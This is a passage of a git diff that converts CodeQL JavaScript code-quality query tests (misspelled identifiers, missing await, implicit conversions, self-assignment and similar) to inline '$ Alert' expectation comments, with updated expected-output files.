+    t2 !== t4; // $ Alert
+    t4 !== t2; // $ Alert
+    t3 !== t4; // $ Alert
+    t4 !== t3; // $ Alert
 
-    t2 !== t5; // NOT OK
-    t5 !== t2; // NOT OK
-    t3 !== t5; // NOT OK
-    t5 !== t3; // NOT OK
+    t2 !== t5; // $ Alert
+    t5 !== t2; // $ Alert
+    t3 !== t5; // $ Alert
+    t5 !== t3; // $ Alert
 }
 
-1n == 1; // OK
+1n == 1;
 
 (function tooGeneralLocalFunctions(){
     function f1(x) {
-        if (x === "foo") { // OK, whitelisted
+        if (x === "foo") { // OK - whitelisted
 
         }
     }
@@ -222,7 +212,7 @@ function l() {
 
     function f2(x, y) {
         var xy = o.q? x: y;
-        if (xy === "foo") { // NOT OK (not whitelisted like above)
+        if (xy === "foo") { // $ Alert - not whitelisted like above
 
         }
     }
@@ -230,5 +220,5 @@ function l() {
 })();
 
 function f(...x) {
-    x === 42
+    x === 42 // $ Alert
 };
diff --git a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.expected b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.expected
index 3168aa8b1a0b..51a9ebb1f0a3 100644
--- a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.expected
+++ b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.expected
@@ -1,17 +1,17 @@
-| tst.js:2:1:2:7 | !method | This expression will be implicitly converted from boolean to string. |
-| tst.js:17:6:17:9 | null | This expression will be implicitly converted from null to object. |
-| tst.js:20:6:20:13 | 'string' | This expression will be implicitly converted from string to object. |
-| tst.js:26:13:26:53 | "Settin ... o '%s'" | This expression will be implicitly converted from string to number. |
-| tst.js:29:18:29:26 | !callback | This expression will be implicitly converted from boolean to object. |
-| tst.js:53:5:53:10 | void 0 | This expression will be implicitly converted from undefined to number. |
-| tst.js:61:3:61:3 | x | This expression will be implicitly converted from undefined to number. |
-| tst.js:67:8:67:8 | y | This expression will be implicitly converted from undefined to number. |
-| tst.js:73:5:73:5 | x | This expression will be implicitly converted from undefined to number. |
-| tst.js:79:19:79:22 | name | This expression will be implicitly converted from undefined to string. |
-| tst.js:85:3:85:3 | x | This expression will be implicitly converted from undefined to number. |
-| tst.js:100:5:100:7 | f() | This expression will be implicitly converted from undefined to number. |
-| tst.js:106:5:106:7 | g() | This expression will be implicitly converted from undefined to number. |
-| tst.js:109:13:109:15 | g() | This expression will be implicitly converted from undefined to number. |
-| tst.js:110:13:110:15 | g() | This expression will be implicitly converted from undefined to string. |
-| tst.js:117:8:117:8 | y | This expression will be implicitly converted from string to number. |
-| tst.js:122:10:122:10 | y | This expression will be implicitly converted from string to number. |
+| tst.js:1:1:1:7 | !method | This expression will be implicitly converted from boolean to string. |
+| tst.js:15:6:15:9 | null | This expression will be implicitly converted from null to object. |
+| tst.js:17:6:17:13 | 'string' | This expression will be implicitly converted from string to object. |
+| tst.js:22:13:22:53 | "Settin ... o '%s'" | This expression will be implicitly converted from string to number. |
+| tst.js:24:18:24:26 | !callback | This expression will be implicitly converted from boolean to object. |
+| tst.js:47:5:47:10 | void 0 | This expression will be implicitly converted from undefined to number. |
+| tst.js:54:3:54:3 | x | This expression will be implicitly converted from undefined to number. |
+| tst.js:59:8:59:8 | y | This expression will be implicitly converted from undefined to number. |
+| tst.js:64:5:64:5 | x | This expression will be implicitly converted from undefined to number. |
+| tst.js:69:19:69:22 | name | This expression will be implicitly converted from undefined to string. |
+| tst.js:74:3:74:3 | x | This expression will be implicitly converted from undefined to number. |
+| tst.js:89:5:89:7 | f() | This expression will be implicitly converted from undefined to number. |
+| tst.js:95:5:95:7 | g() | This expression will be implicitly converted from undefined to number. |
+| tst.js:98:13:98:15 | g() | This expression will be implicitly converted from undefined to number. |
+| tst.js:99:13:99:15 | g() | This expression will be implicitly converted from undefined to string. |
+| tst.js:106:8:106:8 | y | This expression will be implicitly converted from string to number. |
+| tst.js:111:10:111:10 | y | This expression will be implicitly converted from string to number. |
diff --git a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.qlref b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.qlref
index 748469112b00..259f3333169e 100644
--- a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.qlref
+++ b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/ImplicitOperandConversion.qlref
@@ -1 +1,2 @@
-Expressions/ImplicitOperandConversion.ql
\ No newline at end of file
+query: Expressions/ImplicitOperandConversion.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/tst.js b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/tst.js
index 811ef9c576c9..a72dc333dac5 100644
--- a/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/ImplicitOperandConversion/tst.js
@@ -1,41 +1,36 @@
-// NOT OK
-!method in obj;
+!method in obj; // $ Alert
+
 
-// OK
 !(method in obj);
 
-// OK
+
 '__proto__' in obj;
 
-// OK
+
 0 in obj;
 
-// OK
+
 ('$' + key) in obj;
 
-// NOT OK
-p in null;
+p in null; // $ Alert
+
+0 in 'string'; // $ Alert
 
-// NOT OK
-0 in 'string';
 
-// OK
 p in {};
 
-// NOT OK
-console.log("Setting device's bluetooth name to '%s'" % device_name);
+console.log("Setting device's bluetooth name to '%s'" % device_name); // $ Alert
 
-// NOT OK
-if (!callback || !callback instanceof Function) {
+if (!callback || !callback instanceof Function) { // $ Alert
     ;
 }
 
-// OK
+
 function cmp(x, y) {
     return (x > y) - (x < y);
 }
 
-// OK
+
 function cmp(x, y) {
     if (x > y)
         return 1;
@@ -44,48 +39,42 @@ function cmp(x, y) {
     return 0;
 }
 
-// OK
+
 function cmp(x, y) {
     return (x > y) - (x < y);
 }
 
-// NOT OK
-1 + void 0
+1 + void 0 // $ Alert
+
 
-// OK
 o[true] = 42;
 
 function f() {
   var x;
-  // NOT OK
-  x -= 2;
+  x -= 2; // $ Alert
 }
 
 function g() {
   var x = 19, y;
-  // NOT OK
-  x %= y;
+  x %= y; // $ Alert
 }
 
 function h() {
   var x;
-  // NOT OK
-  ++x;
+  ++x; // $ Alert
 }
 
 function k() {
   var name;
-  // NOT OK
-  return `Hello ${name}!`;
+  return `Hello ${name}!`; // $ Alert
 }
 
 function l() {
   var x;
-  // NOT OK
-  x ** 2;
+  x ** 2; // $ Alert
 }
 
-1n + 1; // NOT OK, but not currently flagged
+1n + 1; // $ MISSING: Alert
 
 (function(){
     let sum = 0;
@@ -97,27 +86,27 @@ function l() {
 (function(){
     function f() {
     }
-    f()|0;
+    f()|0; // $ Alert
 
     unknown()|0;
 
     function g() {
     }
-    g()|0;
+    g()|0; // $ Alert
     g();
 
-    var a = g() + 2;
-    var b = g() + "str";
+    var a = g() + 2; // $ Alert
+    var b = g() + "str"; // $ Alert
 });
 
 
 function m() {
   var x = 19, y = "string";
   
-  x %= y; // NOT OK
-  x += y; // OK 
-  x ||= y; // OK
-  x &&= y; // OK
-  x ??= y; // OK
-  x >>>= y; // NOT OK
+  x %= y; // $ Alert
+  x += y;
+  x ||= y;
+  x &&= y;
+  x ??= y;
+  x >>>= y; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Expressions/MissingAwait/MissingAwait.qlref b/javascript/ql/test/query-tests/Expressions/MissingAwait/MissingAwait.qlref
index 05596cf67218..42bdeec727c7 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingAwait/MissingAwait.qlref
+++ b/javascript/ql/test/query-tests/Expressions/MissingAwait/MissingAwait.qlref
@@ -1 +1,2 @@
-Expressions/MissingAwait.ql
\ No newline at end of file
+query: Expressions/MissingAwait.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/MissingAwait/tsTest.ts b/javascript/ql/test/query-tests/Expressions/MissingAwait/tsTest.ts
index 4362c11a8e67..5f1774f1ab56 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingAwait/tsTest.ts
+++ b/javascript/ql/test/query-tests/Expressions/MissingAwait/tsTest.ts
@@ -1,5 +1,5 @@
 declare let cache: { [x: string]: Promise<any> };
 
 function deleteCache(x: string) {
-    delete cache[x]; // OK
+    delete cache[x];
 }
diff --git a/javascript/ql/test/query-tests/Expressions/MissingAwait/tst.js b/javascript/ql/test/query-tests/Expressions/MissingAwait/tst.js
index 10fc244dbc44..61f599a6c33d 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingAwait/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/MissingAwait/tst.js
@@ -5,24 +5,24 @@ async function getThing() {
 function useThing() {
     let thing = getThing();
 
-    if (thing === undefined) {} // NOT OK
+    if (thing === undefined) {} // $ Alert
 
-    if (thing == null) {} // NOT OK
+    if (thing == null) {} // $ Alert
 
-    something(thing ? 1 : 2); // NOT OK
+    something(thing ? 1 : 2); // $ Alert
 
-    for (let x in thing) { // NOT OK
+    for (let x in thing) { // $ Alert
         something(x);
     }
 
     let obj = something();
-    something(obj[thing]); // NOT OK
-    obj[thing] = 5; // NOT OK
+    something(obj[thing]); // $ Alert
+    obj[thing] = 5; // $ Alert
 
-    something(thing + "bar"); // NOT OK
+    something(thing + "bar"); // $ Alert
 
     if (something()) {
-        if (thing) { // NOT OK
+        if (thing) { // $ Alert
             something(3);
         }
     }
@@ -31,21 +31,21 @@ function useThing() {
 async function useThingCorrectly() {
     let thing = await getThing();
 
-    if (thing === undefined) {} // OK
+    if (thing === undefined) {}
 
-    if (thing == null) {} // OK
+    if (thing == null) {}
 
-    return thing + "bar"; // OK
+    return thing + "bar";
 }
 
 async function useThingCorrectly2() {
     let thing = getThing();
 
-    if (await thing === undefined) {} // OK
+    if (await thing === undefined) {}
 
-    if (await thing == null) {} // OK
+    if (await thing == null) {}
 
-    return thing + "bar"; // NOT OK
+    return thing + "bar"; // $ Alert
 }
 
 function getThingSync() {
@@ -55,21 +55,21 @@ function getThingSync() {
 function useThingPossiblySync(b) {
     let thing = b ? getThing() : getThingSync();
 
-    if (thing === undefined) {} // OK
+    if (thing === undefined) {}
 
-    if (thing == null) {} // OK
+    if (thing == null) {}
 
-    return thing + "bar"; // NOT OK - but we don't flag it
+    return thing + "bar"; // $ MISSING: Alert
 }
 
 function useThingInVoid() {
-    void getThing(); // OK
+    void getThing();
 }
 
 function useThing() {
     if (random()) {
-        return getThing() ?? null; // NOT OK
+        return getThing() ?? null; // $ Alert
     } else {
-        return getThing?.() ?? null; // OK
+        return getThing?.() ?? null;
     }
-}
\ No newline at end of file
+}
diff --git a/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.js b/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.js
index cbfe6d3250e5..d12e82cb8c24 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.js
+++ b/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.js
@@ -1,6 +1,6 @@
 function total(bad) {
     var sum = 0
-    for (var i = 0; i < bad; ++i) { // NOT OK
+    for (var i = 0; i < bad; ++i) { // $ Alert
         sum += bad[i]
     }
     return sum
@@ -8,7 +8,7 @@ function total(bad) {
 
 function total_good(good) {
     var sum = 0
-    for (var i = 0; i < good.length; ++i) { // OK
+    for (var i = 0; i < good.length; ++i) {
         sum += good[i]
     }
     return sum
@@ -17,21 +17,21 @@ function total_good(good) {
 var fruits = ["banana", "pineapple"]
 function mix() {
     var drink = []
-    for (var i = 0; i < fruits; ++i) { // NOT OK
+    for (var i = 0; i < fruits; ++i) { // $ Alert
         drink.push(fruits[i])
     }
 }
 
 function mix_good() {
     var drink = []
-    for (var i = 0; i < fruits.length; ++i) { // OK
+    for (var i = 0; i < fruits.length; ++i) {
         drink.push(fruits[i])
     }
 }
 
 function overloaded(mode, foo, bar) {
     if (mode == "floo") {
-        return foo < bar; // OK
+        return foo < bar;
     } else if (mode == "blar") {
         return foo[bar];
     } else {
@@ -41,7 +41,7 @@ function overloaded(mode, foo, bar) {
 
 function overloaded_no_else(mode, foo, bar) {
     if (mode == "floo") {
-        return foo < bar; // OK
+        return foo < bar;
     }
     if (mode == "blar") {
         return foo[bar];
@@ -50,7 +50,7 @@ function overloaded_no_else(mode, foo, bar) {
 
 function reassigned(index, object) {
     var tmp = object.getMaximum()
-    if (index < tmp) { // OK
+    if (index < tmp) {
         tmp = object.getArray()
         return tmp[index]
     }
diff --git a/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.qlref b/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.qlref
index 2f3f0ef91259..022ddb3021ce 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.qlref
+++ b/javascript/ql/test/query-tests/Expressions/MissingDotLengthInComparison/MissingDotLengthInComparison.qlref
@@ -1 +1,2 @@
-Expressions/MissingDotLengthInComparison.ql
+query: Expressions/MissingDotLengthInComparison.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/MissingSpaceInAppend.qlref b/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/MissingSpaceInAppend.qlref
index a9b914e23115..94b18824cca5 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/MissingSpaceInAppend.qlref
+++ b/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/MissingSpaceInAppend.qlref
@@ -1 +1,2 @@
-Expressions/MissingSpaceInAppend.ql
+query: Expressions/MissingSpaceInAppend.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/missing.js b/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/missing.js
index bdb85cc5bb11..36a28584382e 100644
--- a/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/missing.js
+++ b/javascript/ql/test/query-tests/Expressions/MissingSpaceInAppend/missing.js
@@ -1,32 +1,32 @@
 var s;
-s = "this text" +
+s = "this text" + // $ Alert
   "is missing a space";
-s = "the class java.util.ArrayList" +
+s = "the class java.util.ArrayList" + // $ Alert
   "without a space";
-s = "This isn't" +
+s = "This isn't" + // $ Alert
   "right.";
-s = "There's 1" +
+s = "There's 1" + // $ Alert
   "thing wrong";
-s = "There's A/B" +
+s = "There's A/B" + // $ Alert
   "and no space";
-s = "Wait for it...." +
+s = "Wait for it...." + // $ Alert
   "No space!";
-s = "Is there a space?" +
+s = "Is there a space?" + // $ Alert
   "No!";
 
-("missing " + "a space") + "here";
+("missing " + "a space") + "here"; // $ Alert
 
 // syntactic variants:
-s = "missing a space" +
+s = "missing a space" + // $ Alert
     "here";
-s = 'missing a space' +
+s = 'missing a space' + // $ Alert
     'here';
-s = `missing a space` +
+s = `missing a space` + // $ Alert
     "here";
-s = "missing a space" +
+s = "missing a space" + // $ Alert
     `here`;
-s = `missing a space` +
+s = `missing a space` + // $ Alert
     `here`;
-s = (("missing space") + "here")
+s = (("missing space") + "here") // $ Alert
 
-s = (("h. 0" + "h")) + "word"
+s = (("h. 0" + "h")) + "word" // $ Alert
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.expected b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.expected
index 1bf8599b8be5..05bc8f28ad14 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.expected
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.expected
@@ -1,6 +1,6 @@
-| tst.js:5:19:5:24 | lenght | 'lenght' may be a typo for 'length'. |
-| tst.js:26:5:26:10 | lenght | 'lenght' may be a typo for 'length'. |
-| tst.js:26:16:26:21 | lenght | 'lenght' may be a typo for 'length'. |
-| tst.js:32:27:32:34 | avalable | 'avalable' may be a typo for 'available'. |
-| tst.js:42:5:42:12 | throught | 'throught' may be a typo for 'through' or 'throughout'. |
-| tst.js:43:5:43:9 | sheat | 'sheat' may be a typo for 'cheat', 'sheath' or 'sheet'. |
+| tst.js:4:19:4:24 | lenght | 'lenght' may be a typo for 'length'. |
+| tst.js:24:5:24:10 | lenght | 'lenght' may be a typo for 'length'. |
+| tst.js:24:16:24:21 | lenght | 'lenght' may be a typo for 'length'. |
+| tst.js:29:27:29:34 | avalable | 'avalable' may be a typo for 'available'. |
+| tst.js:39:5:39:12 | throught | 'throught' may be a typo for 'through' or 'throughout'. |
+| tst.js:40:5:40:9 | sheat | 'sheat' may be a typo for 'cheat', 'sheath' or 'sheet'. |
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.qlref b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.qlref
index fc411787f5bf..4f10b063bb99 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.qlref
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/MisspelledIdentifier.qlref
@@ -1 +1,2 @@
-Expressions/MisspelledIdentifier.ql
\ No newline at end of file
+query: Expressions/MisspelledIdentifier.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/tst.js b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/tst.js
index 101c6b360b48..5016873b6a59 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledIdentifier/tst.js
@@ -1,43 +1,40 @@
 // use of .length to prime the query
 a.length;
 
-// NOT OK
-for (var i=0; i<a.lenght; ++i);
+for (var i=0; i<a.lenght; ++i); // $ Alert
 
-// OK: 'correct' spelling 'eels' is not used anywhere
+// OK - 'correct' spelling 'eels' is not used anywhere
 var eles = [];
 
-// OK: very short identifier
+// OK - very short identifier
 var can, cna;
 
-// OK: only case differs
+// OK - only case differs
 var NASA, nasa;
 
-// OK: whitelisted
+// OK - whitelisted
 var through, thru, inbetween;
 
-// OK
+
 var realY;
 
 // some more priming
 between, really, available, value;
 
-// NOT OK
-var lenght123, Lenght;
+var lenght123, Lenght; // $ Alert
+
 
-// OK
 var LENght, JKLenght;
 
-// NOT OK
-Mandreel_HttpRequest_BytesAvalable;
+Mandreel_HttpRequest_BytesAvalable; // $ Alert
+
 
-// OK
 EValue;
 
-// OK
+
 ReactDOMOther;
 there;
 
-// NO OK
-var throught, through, throughout; // NB: we don't suggest "thought", since it isn't used anywhere
-var sheat, cheat, sheath, sheet;
+
+var throught, through, throughout; // $ Alert - NB: we don't suggest "thought", since it isn't used anywhere
+var sheat, cheat, sheath, sheet; // $ Alert
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.js b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.js
index 1796fe82c49d..de367ad3f303 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.js
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.js
@@ -1,5 +1,5 @@
 function selectElements(ids) {
-    for (var i=0, length=ids.length; i<lenght; ++i) {
+    for (var i=0, length=ids.length; i<lenght; ++i) { // $ Alert
         var id = ids[i];
         if (id) {
             var element = document.getElementById(id);
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.qlref b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.qlref
index c6644489ce73..b92cdce5fa8e 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.qlref
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/MisspelledVariableName.qlref
@@ -1 +1,2 @@
-Expressions/MisspelledVariableName.ql
\ No newline at end of file
+query: Expressions/MisspelledVariableName.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/tst.js b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/tst.js
index cd6c027f1fc2..bc628bf97ca0 100644
--- a/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/MisspelledVariableName/tst.js
@@ -1,30 +1,30 @@
 function f(errorMessage) {
-  return errorMesage;
+  return errorMesage; // $ Alert
 }
 
 function g(errorMesage) {
-  return errorMessage;
+  return errorMessage; // $ Alert
 }
 
 function h(errorMessage) {
   function inner() {
-    return errorMesage;
+    return errorMesage; // $ Alert
   }
 }
 
 function k(errorMesage) {
   let inner = () =>
-    errorMessage;
+    errorMessage; // $ Alert
 }
 
 function foo() {
 	var thisHander;
-	thisHandler.foo1;
-	thisHandler.foo2;
-	thisHandler.foo3;
-	thisHandler.foo4;
-	thisHandler.foo5;
-	thisHandler.foo6;
-	thisHandler.foo7;
-	thisHandler.foo8;
+	thisHandler.foo1; // $ Alert
+	thisHandler.foo2; // $ Alert
+	thisHandler.foo3; // $ Alert
+	thisHandler.foo4; // $ Alert
+	thisHandler.foo5; // $ Alert
+	thisHandler.foo6; // $ Alert
+	thisHandler.foo7; // $ Alert
+	thisHandler.foo8; // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/RedundantExpression/RedundantExpression.qlref b/javascript/ql/test/query-tests/Expressions/RedundantExpression/RedundantExpression.qlref
index f7b19a84df53..f8401e03f0d5 100644
--- a/javascript/ql/test/query-tests/Expressions/RedundantExpression/RedundantExpression.qlref
+++ b/javascript/ql/test/query-tests/Expressions/RedundantExpression/RedundantExpression.qlref
@@ -1 +1,2 @@
-Expressions/RedundantExpression.ql
\ No newline at end of file
+query: Expressions/RedundantExpression.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/RedundantExpression/tst.js b/javascript/ql/test/query-tests/Expressions/RedundantExpression/tst.js
index b556d518eca4..25db749dde38 100644
--- a/javascript/ql/test/query-tests/Expressions/RedundantExpression/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/RedundantExpression/tst.js
@@ -1,11 +1,11 @@
-(x + x) / 2;
-e[i] - e[i];
-(x + y)/(x + y);
-window.height - window.height;
-x == 23 || x == 23;
+(x + x) / 2; // $ Alert
+e[i] - e[i]; // $ Alert
+(x + y)/(x + y); // $ Alert
+window.height - window.height; // $ Alert
+x == 23 || x == 23; // $ Alert
 x & x;
 
 // this may actually be OK, but it's not good style
-pop() && pop();
+pop() && pop(); // $ Alert
 
-foo[bar++] && foo[bar++] // OK
\ No newline at end of file
+foo[bar++] && foo[bar++]
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.expected b/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.expected
index e97b3e8fe783..fcdf350a9268 100644
--- a/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.expected
+++ b/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.expected
@@ -1,5 +1,5 @@
 | jsdoc.js:9:5:9:19 | this.y = this.y | This expression assigns property y to itself. |
 | jsdoc.js:11:5:11:23 | this.arg = this.arg | This expression assigns property arg to itself. |
-| tst.js:5:2:5:14 | width = width | This expression assigns variable width to itself. |
-| tst.js:24:1:24:19 | array[1] = array[1] | This expression assigns element 1 to itself. |
-| tst.js:27:1:27:9 | o.x = o.x | This expression assigns property x to itself. |
+| tst.js:4:2:4:14 | width = width | This expression assigns variable width to itself. |
+| tst.js:22:1:22:19 | array[1] = array[1] | This expression assigns element 1 to itself. |
+| tst.js:24:1:24:9 | o.x = o.x | This expression assigns property x to itself. |
diff --git a/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.qlref b/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.qlref
index 8956117be70e..592467638457 100644
--- a/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.qlref
+++ b/javascript/ql/test/query-tests/Expressions/SelfAssignment/SelfAssignment.qlref
@@ -1 +1,2 @@
-Expressions/SelfAssignment.ql
\ No newline at end of file
+query: Expressions/SelfAssignment.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/SelfAssignment/jsdoc.js b/javascript/ql/test/query-tests/Expressions/SelfAssignment/jsdoc.js
index 03bfc0b5573b..d72b3ec65f94 100644
--- a/javascript/ql/test/query-tests/Expressions/SelfAssignment/jsdoc.js
+++ b/javascript/ql/test/query-tests/Expressions/SelfAssignment/jsdoc.js
@@ -6,8 +6,8 @@ class C extends Q {
      */
     this.x = this.x; // OK - documentation
 
-    this.y = this.y; // NOT OK
+    this.y = this.y; // $ Alert
 
-    this.arg = this.arg; // NOT OK
+    this.arg = this.arg; // $ Alert
   }
 }
diff --git a/javascript/ql/test/query-tests/Expressions/SelfAssignment/tst.js b/javascript/ql/test/query-tests/Expressions/SelfAssignment/tst.js
index 246651e37a67..36eb815fc2dd 100644
--- a/javascript/ql/test/query-tests/Expressions/SelfAssignment/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/SelfAssignment/tst.js
@@ -1,8 +1,7 @@
 function Rectangle(x, y, width, height) {
 	this.x = x;
 	this.y = y;
-	// NOT OK
-	width = width;
+	width = width; // $ Alert
 	this.height = height;
 }
 
@@ -15,18 +14,16 @@ Rectangle.prototype = {
 		this.width = a/this.height;
 	},
 	foo: function() {
-		// OK
+		
 		this.area = this.area;
 	}
 };
 
-// NOT OK
-array[1] = array[1];
+array[1] = array[1]; // $ Alert
+
+o.x = o.x; // $ Alert
 
-// NOT OK
-o.x = o.x;
 
-// OK
 document.innerHTML = document.innerHTML;
 
 class Point {
@@ -43,7 +40,7 @@ class Point {
 		this.y = 0;
 	}
 	foo() {
-		// OK
+		
 		this.dist = this.dist;
 	}
 }
diff --git a/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/ShiftOutOfRange.qlref b/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/ShiftOutOfRange.qlref
index 1c2d75cde4ad..609eb065ea75 100644
--- a/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/ShiftOutOfRange.qlref
+++ b/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/ShiftOutOfRange.qlref
@@ -1 +1,2 @@
-Expressions/ShiftOutOfRange.ql
\ No newline at end of file
+query: Expressions/ShiftOutOfRange.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/tst.js b/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/tst.js
index a8cedd993b2a..1ee755fd46b9 100644
--- a/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/ShiftOutOfRange/tst.js
@@ -1,2 +1,2 @@
-var n = 1<<40; // NOT OK
-var n2 = BigInt(1) << 40n; // OK
+var n = 1<<40; // $ Alert
+var n2 = BigInt(1) << 40n;
diff --git a/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/StringInsteadOfRegex.qlref b/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/StringInsteadOfRegex.qlref
index a3772e3b4dd1..9f842782a35b 100644
--- a/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/StringInsteadOfRegex.qlref
+++ b/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/StringInsteadOfRegex.qlref
@@ -1 +1,2 @@
-Expressions/StringInsteadOfRegex.ql
\ No newline at end of file
+query: Expressions/StringInsteadOfRegex.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/tst.js b/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/tst.js
index 685b56525e06..79557ef1563e 100644
--- a/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/StringInsteadOfRegex/tst.js
@@ -1,46 +1,46 @@
 function NOT_OK() {
     // regex-like strings
-    "".replace("/foo/i", "");
-    "".replace("/^foo/", "");
-    "".replace("/foo$/", "");
-    "".replace("^foo$", "");
-    "".replace("\s", "");
-    "".replace("foo\sbar", "");
-    "".replace("foo\s", "");
-    "".replace("\sbar", "");
-    "".replace("foo\[bar", "");
-    "".replace("\[", "");
-    "".replace("\]", "");
-    "".replace("\(", "");
-    "".replace("\)", "");
-    "".replace("\*", "");
-    "".replace("\+", "");
-    "".replace("\?", "");
-    "".replace("\{", "");
-    "".replace("\}", "");
-    "".replace("\|", "");
-    "".replace("\^", "");
-    "".replace("\$", "");
-    "".replace("[a-zA-Z123]+", "");
-    "".replace("[a-z]+", "");
-    "".replace("[a-z]*", "");
-    "".replace("[0-9_-]+", "");
-    "".replace("[^a-z]+", "");
-    "".replace("foo[^a-z]+bar", "");
+    "".replace("/foo/i", ""); // $ Alert
+    "".replace("/^foo/", ""); // $ Alert
+    "".replace("/foo$/", ""); // $ Alert
+    "".replace("^foo$", ""); // $ Alert
+    "".replace("\s", ""); // $ Alert
+    "".replace("foo\sbar", ""); // $ Alert
+    "".replace("foo\s", ""); // $ Alert
+    "".replace("\sbar", ""); // $ Alert
